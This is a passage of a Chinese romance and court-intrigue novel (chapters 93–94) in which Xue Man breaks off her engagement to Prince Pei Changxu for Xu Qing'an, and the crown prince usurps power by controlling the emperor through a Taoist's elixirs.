“十八皇子失踪,始作俑者又是?端王,广阑王岂能坐以待毙。”许清桉缓缓道:“他可与你说了什么?” “无?非是?花言巧语,离间我与三哥,希望我供出三哥的位置。不过……”薛满顿道:“广阑王说了一句似是?而非的话。” “什么话?” “我八岁时,曾与三哥遭遇一场意外。那年是?圣上?的兄长恭亲王私藏龙袍,意图造反,被揭发后全府入狱。但他的手下不死心,绑架了我与三哥,想以此威胁姑父交换人质。当时是?我阿爹最先找到我们,为了救我,他身受重伤,不治身亡……” 许清桉吻去她的眼泪,“换作是?我,也会像伯父这么做。” “你已经做过一次了,在?衡州的时候。”薛满道:“但我不需要?,我要?与你们同生?共死,永不分离。” “好,我答应你,往后要?生?一起生?,要?死一起死。” 薛满平复好情绪,继续道:“后来?,姑父龙颜大怒,很快便抓到了幕后指使者,将相关人员全部处死,此事便算彻底了结。但闵钊那天说,当年落难的本该另有其人,而非我与三哥,他还说人心不足蛇吞象,阿爹与我的苦难,皆由薛氏一族的贪婪而起。” 话音刚落,许清桉若有所思,薛满则轻咬唇瓣,忐忑地道:“你觉得,他这话有可信度吗?” “没有。”许清桉毫不犹豫地道:“广阑王老奸巨猾,心思缜密,专挑你的痛楚挑拨,你无?须放在?心上?。” “但还有一件事。”薛满踌躇着道:“之?前我与你说过,三哥请大乔姑娘画一名蒙面人的下半张脸,还曾两次三番地试探我,问我记不记得那人。我恢复记忆后才想起来?,那人正是?当初绑架我与三哥的主犯之?一。” “当时还有漏网之?鱼?” “嗯,想来?是?三哥担心我害怕,所以瞒下了此事。” 许清桉之?前便派人调查过九年前的这场意外,今日又听薛满描述的细节,瞬间便生?出一种推断。 追溯过去,闵家与薛家似乎没有仇怨,但稍加思索,便会发现他们是?无?法共存的两派势力。 他将疑虑埋进心底,不叫薛满看出分毫,“好了,别将闵钊的话当真。” “但是?……” “你若还有力气,不妨体?谅下我的辛苦。” “什么辛苦?” 许清桉捉着她的手放进被里,薛满本一脸疑惑,随即烫手般地甩开?,羞愤低喊:“许清桉,不许你再?放肆!” …… 用午膳时,裴长旭没见到薛满的人,便问杜洋,“阿满起了没?” 杜洋道:“属下没见到薛小姐出院,应当还没有。” “许清桉何在??” “空青说许少卿昨晚喝醉了,今日有些不清醒,晚些再?来?跟殿下议事。” 裴长旭并未将两人想作一处,他走进书房,开?始拆阅今晨收到的信件,其中?一封引起了他的重视。 是?薛科诚来?的信,他在?信中?称,年后圣上?龙体?抱恙,太医院换过许多药仍不见效。前月时,太子寻来?一名道士,劝圣上服用灵丹妙药后,圣上?的病情大有好转,便命道士直接住进宫中?,一日三餐随侍奉药,某晚竟连续召了三位昭仪服侍。皇后听闻后,立刻请求面圣,对圣上?婉言劝导,却意外惹恼了圣上?,被罚禁足三月。 裴长旭眉头?紧蹙,一时间难消化?信中?内容。万寿节前后,父皇的确有过不适,但服过关少云开?的药后便有起色。如今身体?抱恙,是?旧疾重来?,还是?新病突发? 还有那所谓的道士、灵丹妙药、三位昭仪过夜…… 父皇向来?英明睿智,怎会是?非不分,罚好言劝解的母后禁足三月? 母后与父皇恩爱数十载,从未发生?过这样的分歧。 裴长旭立刻磨墨提笔,回信打探更多?细节,又招来?罗夙,命他快马加鞭赶回京城。 罗夙离开?时,迎面撞上?许清桉,朝后者恭敬道:“许少卿。” 许清桉颔首,“殿下在?吗?” 罗夙道:“殿下正在?里面。” 许清桉走到书房前,经过杜洋通传后进入书房。 裴长旭抬眸看他一眼,“许少卿醒酒了?” 许清桉道:“是?,多?谢殿下关心。” 裴长旭道:“昨日走时,本王见你神色如常,还以为你千杯不醉。” 许清桉道:“有些事,清醒时顾虑重重,喝酒后反倒能直面真心。” 裴长旭懒得搭理他的话中?有话,“此次你成功捉拿叛党与南垗奸细,又拿到了广阑王通敌叛国的证据,功劳不可谓不大。” “全靠殿下运筹帷幄,领导有方。” 没看出来?,许清桉竟也会说漂亮的场面话。 裴长旭挑眉,“向广阑王通风报信的人可一并抓住?” “抓住了。”许清桉道:“说通风报信却也不准确,那人是?名四品武将,曾在?京中?军营待过几年,在?众多?场合中?见过殿下真容。一个月前他请休长假,四处游玩,恰好路过兰塬,无?意中?撞见殿下,随后又慕名进了求香畔。” “他在?寻欢作乐中?说出了我的行踪?” “是?,他本是?随口?一提,岂料楚娘子极其机敏,立刻禀到了傅迎呈的面前。” 于是?便有了江上?追击的凶险一幕。 裴长旭道:“广阑王已落网,却还有一事令本王顾虑。” 许清桉道:“殿下是?指太子?” 裴长旭点?头?,撇开?这次暗查,前几次都有人向广阑王传递消息,太子的嫌疑最为深重。 许清桉道:“下官审问过其他人,他们对太子之?事一无?所知,想来?只有广阑王和傅迎呈能解开?迷惑。” 裴长旭缓慢地摇头?,“前几日,本王亲自提审过他们,他们口?风极严,声称与太子没有来?往。” 许清桉道:“广阑王决意保住太子。” 裴长旭道:“因广阑王一事,父皇本就对太子猜忌甚深。如今罪证确凿,即便广阑王不承认,太子也会受到牵连。” “若换作从前,殿下的推断不无?道理,但太子最近寻得妖道,深得圣上?欢心,一切便未有定数。” 裴长旭眸光倏冷,“你的消息倒是?灵通。” “殿下莫小看了恒安侯府。” “你还探到了什么消息?” “比如,皇后惹怒圣上?被禁足三月,而圣上?沉迷修道,竟萌生?出禅位之?心?”许清桉问:“这些够吗?” “胡言乱语!”裴长旭陡然?变色,“父皇正值壮年,怎会无?端端地禅位!” “那便得去问问太子与那妖道了,究竟有何等本事,能叫圣上?短短三月便迷失心智,欲弃国家不顾。” 裴长旭的脸色青青白白,他不过离京三个月,便生?出这等匪夷所思的变故?因是?秘密出行,他刻意隐瞒行踪,除去父皇外几乎阻断消息,直到阿满恢复记忆才给外祖父去了书信。万万没想到,此番的变数正是?父皇本人! 他仍心存侥幸,“父皇英明神武,面对确凿罪证,定能够明察秋毫。” “人的心偏向哪,真相便在?哪。”许清桉道:“下官以为,圣上?的心如今偏向太子,即便殿下带着广阑王、傅迎呈及十八皇子进京,恐怕也得不到想要?的结果?。或许还有更坏的转折,便是?被太子、广阑王等人反咬一口?。” 裴长旭并非蠢驴,自然?知晓他说得有理,情感上?却难以接受。 “出发兰塬前,父皇亲口?道,如今只信得过本王。”裴长旭道:“本王相信父皇。” “皇后在?禁足前,也同样信任圣上?。” 裴长旭勉强定神,“那依你所见,后续当怎么办?” 许清桉反问:“阿满已恢复记忆,殿下打算何时解除婚约?” 裴长旭冷声,“许清桉,这与你没有关系。” “当然?有关系,而且是?很大的关系。”许清桉慢条斯理地道:“昨夜醉酒,我宿在?了阿满的房中?。” “……” “即便恢复记忆,阿满爱的人依旧是?我。” “……” “殿下,你输了。” “……” 裴长旭怒不可遏,一拳挥向许清桉的脸,“你撒谎!阿满不可能留你过夜!一定是?你胡言乱语污蔑她!想破坏她的名声来?激怒本王!” 许清桉侧身一避,轻松躲开?他的袭击,“殿下若是?不信,大可去问阿满院中?的奴仆。” 裴长旭的理智断弦,疯狂地再?度扑上?前,“无?论你怎么挑拨,本王都不会信!阿满是?本王的未婚妻,本王会与她拜堂成亲!会与她儿女绕膝!” 这回许清桉没有再?避,而是?硬生?生?吃了他一拳后,提脚踹中?裴长旭的腹部。 “殿下曾经有这样的机会,却因为贪婪、多?情、优柔寡断叫阿满伤心欲绝。是?殿下逼走阿满,亲手将阿满送到了我的身边!” “你算个什么东西!来?路不明的外室子,阿满解闷的乐子而已!” “殿下又算个什么东西!吃着碗里惦记锅里,等失去了才在?那故作深情!” “许清桉,本王要?杀了你,本王绝对要?杀了你!” “裴长旭,有本事的话你尽管动手!看到底是?谁杀的了谁!” 任谁也没料到,谦雅温润的端王殿下、矜傲风流的恒安侯世子会跟市井流氓般对骂互殴,你一拳来?我一脚,打得鼻青脸肿亦不罢休。 门外的杜洋试图阻拦,却被裴长旭怒吼着滚蛋,眼看局面混乱,杜洋只得去找薛满救场,然?而走到半路,却得知一个突如其来?的坏消息。 “殿下,许少卿,你们住手吧!”杜洋急赤白脸地喊:“方才牢里传来?消息,称广阑王与傅迎呈都中?毒死了!” 打斗中?的两人终于顿住动作,齐齐望向杜洋。 杜洋重复:“广阑王与傅迎呈吃了有毒的饭菜,双双中?毒身亡,随后下毒的那名狱卒也割喉自尽。” 裴长旭脸色煞白,身形猛地一摆。 许清桉勾唇,“太子殿下比我想得更果?断些。” 裴长旭张了张嘴,艰难地挤不出半句话。真是?太子所为吗……太子他何至于…… 许清桉整理皱乱的衣服,朝裴长旭莞尔一笑,“所以,殿下真不考虑跟恒安侯府合作吗?” 裴长旭怒目而视,“许清桉,你休想!” 许清桉道:“离回京还有几日,殿下不妨三思而后行。” …… 薛满听闻广阑王、傅迎呈在?狱中?身亡的消息,同时也知晓裴长旭、许清桉的大打出手。 她急忙赶到裴长旭的院中?,见他正坐在?露天的空地上?,连块地垫都未铺。 薛满往四周看了一圈,杜洋呢?罗夙呢?竟不知天还凉着吗! 她走近裴长旭,视线滑过他的脸庞,还好还好,没有破相得太厉害,许清桉应该不会被治罪。 “三哥。”她安下心,轻声开?口?:“地上?凉,我们进屋坐好不好?” 裴长旭置若罔闻,目光直视前方,神色平静到麻木。 薛满不放弃,“三哥,我知晓你心里不舒服,但你的伤还未好,凡事得以身体?为先。” 裴长旭终于动了,侧首看向她,“你去看过许清桉了?” 薛满摇头?,“我知道消息后,便先来?看的你。”待会儿再?去收拾另一个也不迟! 是?吗?看来?还是?他略胜一筹。 裴长旭仔细端详她的脸,一如既往的娇俏鲜活,又多?出些意味不明的潋滟。再?往下看,白皙修长的脖颈处,有几枚衣领也难遮的红色印记。 裴长旭不怒反笑,断断续续地笑。 笑他的自以为是?,笑他的不懂珍惜,笑他的后悔莫及。 许清桉说得没错,是?他亲手逼走阿满,将她送到了许清桉的身边。如今后悔已没有用,阿满的心给了别人,拒绝接受他的忏悔。 笑着笑着,那些懊悔心痛便化?为眼泪,铺满整张面庞。 薛满顿时慌了,“三哥,你怎么哭了?是?哪里疼得受不了吗?” 裴长旭拉住她的手,放到自己的心口?,“阿满,我这里疼。” 薛满会错意,“是?被熊抓伤的地方又裂开?了?你等着,我马上?去找泰酉,叫他帮你开?药止疼!” 裴长旭不肯松手,“阿满,我知错了,我真的知错了。求你不要?走,回头?看看我,再?给我一次机会……” 换作失忆时的薛满,定要?对他不留情面地讥讽。但眼前是?与他相伴十六载的薛满,她做不到冷酷地对待裴长旭。 “三哥。”薛满学着他那般,温柔轻抚他的头?顶,“与我做夫妻后,你会发现我的许多?缺点?,厌弃我不如记忆中?的善解人意。我呢,又会怨恨你太优秀,总吸引外头?的女子示好,恨不得时刻掌握你的行踪。时间一久,你看我鼻子不是?鼻子,我看你眼睛不是?眼睛,两人反目成仇,连基本的情分都难以维持。” “不会的,我们不会的,我会待你好,今生?只待你一个人好……” “我们会。”薛满坚定地道:“已经错过一次的事,不需要?重蹈覆辙。” “我不会放你走,绝对不会……” “脚长在?我的身上?,你没法阻止我的离开?。”薛满道:“我爱许清桉,很爱很爱。” “你从前也爱我,你忘了吗?” “是?啊,我从前爱你,所以委曲求全,欢喜全由你掌控。但是?我经常不快乐,于是?离开?京城,遇见很多?新鲜的事,认识许多?新鲜的人,最后终于明白,真正的快乐和爱是?什么模样。”她道:“三哥,我们好聚好散,好吗?” 裴长旭不说话,眼泪打湿了衣襟。他清楚地意识到,这次真正地失去了她。 他的阿满不要?他了。 第93章 第 93 章 薛满慰问过裴长旭, 便急忙赶向许清桉的院子。 空青、蜚零二话?不说地放行,由她畅通无阻地入内,推开?书房半掩的门?。 她本要气势汹汹地追责, 岂料书房空无一人?,唯余案上打开?的书籍与搁置在一旁的狼毫。 咦, 人?呢?空青明明说他在书房! 不等薛满想明白,身后忽然迎上一人?, 顺势环住她的腰, 不住亲吻她的脖颈。 清新的雪松香气袭入鼻间,薛满心旌摇曳,一时软了身子,由他为所欲为。 直到腰带飘落, 衣领松垮, 修指旖旎地探怀时,薛满陡然清醒, 摁住他的手道:“许清桉,这是在书房,你给我清醒一些!” 青年道:“青天白日, 满室书香, 阿满不觉得在此欢好,能?有?另一番滋味?” 滋味他个?头啊! 薛满恼羞成怒,回身欲拽他的耳朵, 定睛后却忍俊不禁。 瞧瞧这家伙,鼻青脸肿的何其滑稽, 哪还有?平日里的风流倜傥! “哈哈哈哈。”她幸灾乐祸地道:“许清桉, 你真是活该!” 许清桉用额头抵着她的额,“好啊你, 不仅先去?看端王,竟然还敢取笑?我。” “我不仅笑?你,还要狠狠地笑?。”薛满推开?他的脸,没好气地道:“谁给你的胆子,竟敢跟端王殿下大打出手?” “方才打架的不是恒安侯世子与端王,而是许清桉与裴长旭。”许清桉一本正经,“据我所知?,他们?喜欢上同个?女子,但女子与许清桉两情?相悦,裴长旭却非要棒打鸳鸯,无奈之下,许清桉只好与他一决高下。” “这么说来,许清桉是被逼无奈了?” “当然。” “那最后谁赢了?” “赢的人?一直都是许清桉,他只不过要逼裴长旭承认事?实?。” 如他三番两次逼自?己承认心意那般吗? 薛满叹了口气,心疼地抚上他的伤处,“疼吗?” “你亲一下便不疼了。” “……” “也许一下不够,得十下才行。” 薛满打了下他的臂膀,“行了,我已与三哥说得很清楚,回京后便会请祖父做主,解除我与他的婚约。” “那便最好不过。”许清桉搂住她,低声道:“我真想今晚便与你拜堂成亲,往后再也不用分离。” “有?人?曾告诉我。”薛满忽然想起一句话?,“先有?分离,人?们?才会愈加期待重?逢。” “那人?是谁?” “一位萍水相逢的长辈,在我逃家时对我非常关照,那金鱼荷包便是她送的。” 许清桉心想果然如此,“若有?机会,我定要向她道一声谢。” “她说会去?白鹿城找我,对了,还会带上她聪慧好学、貌似潘安的好大儿。” “……”居心不良,往后还是别重?逢最好。 * 闵钊、傅迎呈既已身死,回京便是迫在眉睫。 裴长旭派人?留在兰塬接应,又命另一队人?秘密押送十八皇子进京,自?己则与许清桉、薛满等人?一道动身。 回京途中,他沉默寡言,便连见到她与许清桉亲密无间,也只转身离去?,背影孤寂清冷。 薛满看在眼里,说不歉疚是假的,但除去?歉疚便无能?为力。多余的柔情?关心只会给人?虚假的希望,倒不如狠狠心,彻底斩断前缘。 对此,许清桉道:“你无须感到歉疚,端王的愁苦不止于你。” 薛满问:“还有?什么事?令三哥愁苦?是宫中出事?了吗?” 许清桉道:“宫中的确出了些事?。” 薛满着急,“出了何事??是姑母还是小宁生?病了?” “非也。”许清桉反问:“阿满,你觉得皇后是个?怎样的人??” “姑母吗?她身为一国之后,自?然是雍容大度,母仪天下,将后宫管理得井井有?条,对所有?皇子皇女都视如己出。” “对你呢?” “对我也极好。”薛满真心实?意地道:“自?我爹娘去?世,姑母便将我接到宫里抚养,将我当成亲女一般。” “你与皇后的感情?很深。” “姑母称得上是我第二个?娘亲。”薛满怀疑地蹙眉,“听你所言,是姑母出了事?吗?” “与圣上起几句争执罢了,她毕竟是皇后,想来圣上不会重?罚。” “但是……” “没有?但是。”许清桉撤下纱帐,俯身吻上她的唇角,含糊道:“天快黑了,你我该养精蓄锐,早些休息……” 长达半月的路程里,薛满充分认识到,许清桉这人根本是衣冠禽兽!别看他白日里瞧着矜持有?度,一到夜里便性情?大变,缠着她抵死不休! 但一想到,他每晚偷偷摸摸地来,天不亮又偷偷摸摸地走,明明辛勤却乐此不疲,她便又心软意活,纵容了他的某些行径。 直至抵达靠近京城的最后一个?驿站,当晚,薛满难得清闲,早早睡下。而裴长旭、许清桉则见到一位久违的长者。 薛科诚。 薛科诚乔装打扮,暗中抵达驿站。裴长旭、许清桉恭候许久,朝他异口同声地喊:“外祖父/薛老太爷。” 薛科诚疲惫地道:“老夫参见殿下。”又朝许清桉微笑?颔首,“许少卿,别来无恙。” 简短的几句寒暄后,许清桉亲自?奉茶,裴长旭更直入正题。 “外祖父,如今前朝与宫中的情?况如何?” 薛科诚道:“危如累卵。” 他将近半月的事?娓娓道来:圣上日渐沉迷丹药,已到懒于上朝的地步,将国事?尽数交由太子处理。而圣上则被那道士蛊惑,意图效仿汉武大帝寻仙问道,谋求长生?不老。 说到这,薛老太爷语气苍凉,“我私下请朝中几位德高望重?的老臣去?劝解圣上,却都无功而返,更甚者被夺去?官职,打入天牢。” 裴长旭难以置信,父皇竟失智至此?“那母后与小宁呢?” “皇后依旧在禁足,后宫之事?如今由席贵妃代理。至于小宁……三日前,她与太子妃因争执大打出手,太子妃扇了她一耳光,她亦踹了太子妃一脚。此事?后,两人?都被太子训诫,将双方的奴仆送进慎刑司受罚。” 席贵妃的嫡亲侄女嫁了太子做侧室,前段时间更有?了身孕。 裴长旭苍白一笑?,“我奉父皇旨意,去?兰塬调查闵钊谋逆一事?,好不容易人?赃俱获,回来时却物是人?非。如今父皇糊涂,乃至前朝混乱,后宫无主……闵钊一事?又会有?怎么样的变数?” “眼下,太子在朝中一手遮天,闵钊若活着,不失为对付太子的一把利器。但闵钊身死,太子便可?独善其身。” “然后?” “太子党会替太子背书,支持太子继位。”薛老太爷顿道:“据宫中传出来的消息称,圣上有?意退位幽居。” 裴长旭已从许清桉口中听过这消息,此时再听,亦难忍住悲怆,“我要求见父皇,亲口问问他究竟出了何事?!” 薛老太爷道:“即便是殿下,如今恐怕也难见到圣上。太子以保护圣上的名义,命禁军日夜守在殿外,凡求见圣上者,都得先经过他的同意。” “外祖父的意思是,太子已肆无忌惮,铁了心要夺位?” “是。” 裴长旭一时寒心消志,不明白本其乐融融的一家人?,怎会落到这番地步。怪闵钊吗?对,应该怪闵钊,若非他私通敌国,牵涉太子,父皇怎会苛待太子,太子又怎会处心积虑地夺权? 混乱纠结时,有?人?清朗道:“殿下目前有?两条路能?走。” 薛老太爷看向一旁气定神闲的青年,“哪两条路?” 许清桉道:“其一,京城既已是太子的天下,殿下不如先退藏于密,厚积薄发,等万事?俱备后以清君侧的名义攻进京城,解救圣上与皇后等人?。” 薛老太爷问:“其二?” 许清桉道:“时不我待,不入虎穴,焉得虎子?” 裴长旭靠向椅背,闭上双眼,脑中浮现的是三个?月前,宫中人?聚在殿前迎接新年。父皇、母后站在最中央,太子与他分立两旁,所有?人?皆面带喜气,欢欣鼓舞。 然而,他们?没有?等来新年的新气象,只等来铺天盖地的阴霾。 …… 夜沉沉地揭过,薛满一觉睡到天亮,出门?时发现祖父竟到了驿站。 “祖父!”薛满惊喜地跑上前,“您怎么来了?几时来的?怎么不叫人?通传一声!” “我没到多久。”薛科诚慈爱地望着她,“我听殿下说你们?今日抵达驿站,便前来接你回府。” “何须您跑一趟,等我进城后,自?会第一时间去?老宅看望您。”薛满慢慢红了眼眶,“祖父,抱歉,是我不懂事?,害得您东奔西走的劳累。” 薛科诚笑?道:“祖父若是见不到你,才是真正的劳形苦心。对了,我听殿下说,你已经恢复了记忆?” “是。”薛满点点头,请薛科诚到小间,交流起最近经历,末了才道:“祖父,之前您说,等我恢复记忆,若还是……还是想解除婚约,您便会不计代价地替我做主,这句话?还算数吗?” 薛科诚道:“你仍想跟殿下解除婚约?” 薛满颔首,认真道:“孙女与许清桉两情?相悦,此生?除了他谁也不嫁。” 薛科诚正要说话?,余光却瞥到另一人?进门?,朝他恭敬地作礼。 “晚辈心悦阿满,还请薛老太爷成全我与阿满的婚事?。晚辈向您保证,等阿满嫁进恒安侯府,凡事?都会以她为主,连祖父都难欺她半分。” 薛满站到许清桉的身边,“请祖父替我们?做主。” 薛老太爷望着眼前的两位小辈,他们?目光坚定,并不避讳地牵着手,其心不言而喻。 当年他求娶絮敏时,也如许家小子一般,对絮敏的父母保证,会一生?一世待絮敏好。 他做到了吗?做到了吧。在絮敏活着时,他们?举案齐眉,她为他生?儿育女,他对她一心一意。可?惜修平意外离世,絮敏痛心疾首,紧随其后地离去?…… 阿满是修平唯一的孩子,样貌像极了絮敏。 薛科诚之前不肯答应薛满解除婚约,是怕她恢复记忆后会后悔。而今她恢复了记忆,与许清桉仍心心相印,他再无阻挠他们?的理由。 “好。”薛科诚道:“等宫中事?告一段落,我便禀明皇后,请她解除你与长旭的婚约。” 又是宫中事??宫中到底出了何事?? 薛满欣喜之余又感到忐忑,但无论她怎么追问,薛科诚、许清桉都不肯透露内情?。 薛满选择去?找裴长旭,“三哥,姑母究竟出了何事?,能?叫你们?个?个?如临大敌?” 裴长旭道:“只是出了点小问题,很快便能?够解决。” 薛满问:“小宁呢?我已许久没收到她的消息,她还好吗?” 裴长旭道:“小宁也不会有?事?。” 薛满再蠢也听得出其中蹊跷,结合兰塬的所见所闻,闵钊、傅迎呈等关键人?证的身死,心底猛然冒出一个?猜测。 “莫非是太子哥哥如九皇子一般,记恨你对广阑王动手,于是怀恨在心,设计陷害了姑母与小宁?” 被设计的人?何止是母后、小宁,更有?高高在上,似乎无所不能?的景帝。 裴长旭不欲跟她解释内情?,“虽有?一些小变故,但我能?够处理得好。” 薛满果断道:“下午我与你一起进宫。” 裴长旭摇头,“你与外祖父先回老宅。” 薛满朝他逼近,眸光透彻人?心,“既然是小变故,你为何不带我一起进宫?还是说,你与许清桉、祖父有?大事?在瞒着我?” 因他们?都爱她,不愿意她冒任何危险。 裴长旭微微笑?着,没头没尾地道:“我还记得你离京前,特意请我进屋,欣赏你穿上嫁衣的模样。” 薛满轻愣,是有?那么回事?,彼时的她伤心欲绝,想在逃婚前让他印象深刻,终生?难以忘记。但回头想想,极致的爱与恨均飘散,余留的只有?血缘无法割舍的羁绊。 “三哥……” “你穿上嫁衣的样子很美?,我一辈子都忘不掉。”他凝视她,喃喃自?语:“母后早就劝过我,但我没有?听,非要一意孤行。” 薛满不忍见他灰心丧气,“三哥,都过去?了。” 裴长旭道:“我真后悔,若当初没那么自?以为是,能?听进母后和小宁的劝解,早些和你坦白,一起处理江书韵的去?留……” “三哥,别说了。” “假使我早早地坦白一切,便不会失去?你。” “这世上没有?如果、假设、但是。”薛满轻声道:“我们?不该被困在过去?,得勇敢地往前走。” 他的前方能?有?什么?陡然失智的父皇,狼子野心的兄长,等待他救援的母亲和妹妹…… 能?够抚慰他心伤的人?只有?她,可?她爱上了别人?,一个?比他更坚定优秀的人?。 “阿满。” “我在。” “我能?够抱抱你吗?” “……” “人?生?的最后一次,让我再抱抱你,好吗?” 薛满迟疑地点头,下一瞬,被青年紧紧拥进怀里。 无论明日结局怎样,至少许清桉能?护住她……或许,这才是老天最好的安排。 第94章 第 94 章 离开驿站前, 裴长旭收到了?来自?云县的一份礼物。历时两个月,大乔经过无数次的推演,终于画出那蒙面?人的下半张脸。 裴长旭粗略地打量几眼, 对?他唯有“样?貌平平”“丢进人堆也不显眼”的评价。也正是这平平无奇的男子,当?年参与绑架了?他与阿满, 害得舅舅英年早逝。 危难当?头,裴长旭暂时将寻人搁置脑后。他率领众人光明?正大地进入京城, 随后与许清桉分道扬镳, 径直驶向皇城。 皇城依旧高大宏伟,固若金汤,能抵御万千风霜。但若当?瓦解从内部开始,又如之奈何? 守门的禁卫换了?一批新面?孔, 却无人不识鼎鼎大名的端王殿下。他们朝裴长旭整齐行礼, 全?程放行,由他轻而易举地通过太清门, 驻足广明?殿前。 这是景帝处理事务的宫殿,象征着大周至高无上的权力。 守在?门前的禁卫军、内侍亦是生面?孔,表情均恭敬虚伪。 内侍满脸笑容, 朝裴长旭道:“端王殿下。” 裴长旭问:“父皇何在??” 内侍扯着尖细的嗓音道:“圣上知晓端王殿下今日回城, 一早便在?殿中等候,请您直接入内即可。” 裴长旭道:“好。” 内侍迫不及待地打开殿门,喊道:“端王殿下到!” 等裴长旭独身跨过门槛后, 他又迫不及待地合上门,唇角扬起一丝得逞的笑容。 这端王殿下, 看起来也不甚聪明?的样?子! …… 裴长旭的脚步声, 一步步地响彻殿内。 他目视前方?,望向龙案后正奋笔疾书的景帝, 以及他身畔正在?低语的太子裴长泽。 裴长旭甩开袍角,恭敬下跪,“臣见过父皇,见过太子殿下。” 他声音洪亮,字字清晰,景帝却置若罔闻,只顾着笔尖游走。 倒是太子笑道:“三弟,你回来了?。” 裴长旭道:“是。” 太子问:“听闻三弟此次陪阿满去?江南游玩,欣赏了?不少好山好水,不知阿满的病情可有好转?” 裴长旭道:“多谢皇兄关心,阿满的身体已经无恙。” 太子道:“既无恙,今日怎不一并带进宫中,探望探望母后?” 裴长旭道:“不急这一时。” 他再度看向沉浸在?写字中的景帝,试图唤起他的注意,“父皇,儿臣回来了?,请您看看儿臣吧。” 景帝不为所动,见状,裴长旭好心地道:“父皇,三弟回来了?,您不妨抬头看上一眼。” 景帝竟真?按他所说,抬头看了?裴长旭短短一眼,敷衍地道:“嗯,你回来了?。” 裴长旭没有错过观察景帝的机会,面?色红润,目光亢奋,炯炯有神……却是太炯炯有神了?些,不复过往的深沉睿智。 更何况,他对?周遭的声响毫无反应,只对?太子言听计从。 裴长旭道:“我有要事须向父皇禀告,可否请太子回避一下?” 太子笑道:“父皇最近已将朝事全?数交由孤来代?理,三弟无须避讳,有要事但请直言。” 裴长旭坚持:“此事我只能单独跟父皇禀告。” 闻言,景帝忽地怒道:“太子让你说你便说,遮遮掩掩成何体统!” 裴长旭问:“父皇,您忘了?吗,这是您与儿臣的秘密。” 景帝疾声厉色,“太子是储君,朕即日便要禅位于他,任何秘密都不能瞒着他!” 若说之前裴长旭还抱着一丝期望,期望事态没有薛科诚、许清桉描述得那般严重,期望景帝在?见到他时能恢复清明?……此刻却是心沉到谷底。 “父皇今年四十有四,正是励精求治的年纪——” “够了?!朕不想听你们这些人的废话,朕是皇帝,想禅位便禅位,容不得你们指手画脚!” 景帝怒吼完,又和气地对?太子道:“太子,禅位圣旨已写好,待朕按上玉玺,请人宣读后即能生效。” 太子赞道:“父皇做得很好。” 何其荒唐,何其本末倒置的一幅画面?! 裴长旭缓慢地起身,目不转睛地盯着太子,“皇兄,你究竟对?父皇做了?什么?” “此话这话从何说起。”太子讶异,“孤从十岁起便是储君,接任皇位有问题吗?” 裴长旭道:“皇兄是太子没错,但父皇身强体壮,远不到禅位的地步。” 太子道:“三弟离开京城有段时日,不知晓父皇前些日子生了?场大病,病愈后便开雾睹天,想要退位幽居,专心寻道。” “寻什么道?” “自?然是大道。” “何为大道?” 景帝陡然高声,“与天同齐便是大道!朕要寿比南山,与天同齐,羽化成仙!” 裴长旭惨笑,“父皇,这世?间根本没有成仙一说,这全?是他们编出来哄骗您的东西。” “不许你污蔑道长!”景帝冷冷地回视:“朕亲眼见到道长点石成金,更让朕一夜回春,道长是货真?价实的仙人弟子!” 裴长旭闭了?闭眼,放弃与面前的景帝沟通。从前睿智英明?的景帝,如今不过是具由人控制的傀儡,言行均非出自本心。 他问太子,“皇兄要怎样?才肯放过父皇?” 太子一如既往的温厚,“三弟此言差矣,等孤登上皇位,父皇便是太上皇,地位依旧凌驾于孤。” “事已至此,太子又何必惺惺作态?”裴长旭戳破虚伪的平和,“我只要太子一句准话,等太子登上宝座,能否恢复父皇的心智,放他们与我一道前往封地?” “三弟莫不是糊涂了??”太子平静道:“这世?上,从没有太上皇、太后随亲王前往封地的先例。” “我恳请太子为父皇、母后开这个先例。”裴长旭情真?意切,“太子身为储君,继位无可厚非。而我只想带上父皇、母后前往封地,余生绝不踏足进城一步。” 太子问一旁的景帝,“父皇,您想跟三弟去?封地吗?” 景帝断然回绝:“不!朕要跟随道长云游四方?,寻求长生之道!” 太子道:“三弟,你听见了?,父皇不愿意。” 裴长旭握紧拳头,咽下心口?愤懑,“既然父皇不愿意,我也无可奈何。但母后……请皇兄看在?母后待你如亲子的份上,放她与小?宁跟我同去?封地。” “待孤如亲子?”太子重复这句话,慢慢地放声大笑,“好一个待孤如亲子。” 他走出案后,站在?阶上,居高临下地俯视裴长旭,“孤本有亲母照料,闵氏一族保驾护航,若非因薛氏心狠手辣,何至于苟且偷生多年?” 裴长旭皱眉,“皇兄,无论旁人如何,母后一直待你不薄。” 太子脸上浮现一种?怪异的讥讽,“三弟,你果真?不知你的母后有多利欲熏心,卑鄙无耻。” 裴长旭下意识地反驳:“母后仁爱大度,众所皆知,岂容太子污蔑!” “是吗?”太子双手负在?身后,抬着下颚道:“那便由她亲子告诉你,她是何等佛口?蛇心之辈。” 他拍了?两下手,便有侍卫押着薛皇后从侧门进殿。隔着半殿的距离,薛皇后潸然泪下,裴长旭也眼眶湿润。 “旭儿!” “母后!” 母子俩终得重逢,两名侍卫却阻拦在?中间,使?他们无法靠近彼此。 薛皇后形容憔悴,不复平日雍容,“你怎么来了?,你不该来的……” 裴长旭哽咽道:“父皇和母后在?此,我怎能不来?” 薛皇后呜咽几声,望向龙案后端坐的景帝,“圣上,圣上,求您看看臣妾,臣妾是您的妻子啊!” 景帝张了?张嘴,似有动容。太子立刻拍向他的肩膀,他便低头专注地看着桌案。 太子开口?:“父皇的妻子只有一人,那便是孤的生母,孝德欣皇后闵氏。” 薛皇后凄楚地道:“太子,本宫这些年待你不薄,未料你没有分毫动容……” 太子满脸疑惑,“动容?对?孤的杀母仇人吗?” 薛皇后睁大眼睛,似是茫然不解。 太子又道:“薛氏,你当?真?以为做得天衣无缝,没人察觉端倪?” 不等薛皇后说话,太子便娓娓道来:“孤的母后是父皇明?媒正娶的妻子,与父皇感情甚笃,恩爱两不疑。直到父皇登上皇位,纳美无数,母后为此郁郁寡欢,身体每况愈下,乃至香消玉殒……殊不知,母后是中了?一种?名为‘长牵’的慢性毒药,此药无色无味,溶于水,浸于肝脏,服用超过半年便无药可救。” 薛皇后矢口?否认,“本宫并不知晓此事。” 太子嗤笑,“母后去?世?后,孤被接进你的殿中生活,得你悉心照料,真?将你当?成了?救命稻草。可千不该万不该,孤不该在?半夜被噩梦惊醒时去?找你,听到你与刘嬷嬷的私话。刘嬷嬷忧心忡忡,认为孤存活于世?便是隐患,劝你制造意外?除掉孤。你先是坚定拒绝,日子一久,却也生出同样?想法。” 薛皇后揪住胸前衣裳,不住摇头,“太子,你定是被奸人蒙骗误会了?本宫,本宫发誓,绝没有毒害先皇后!” 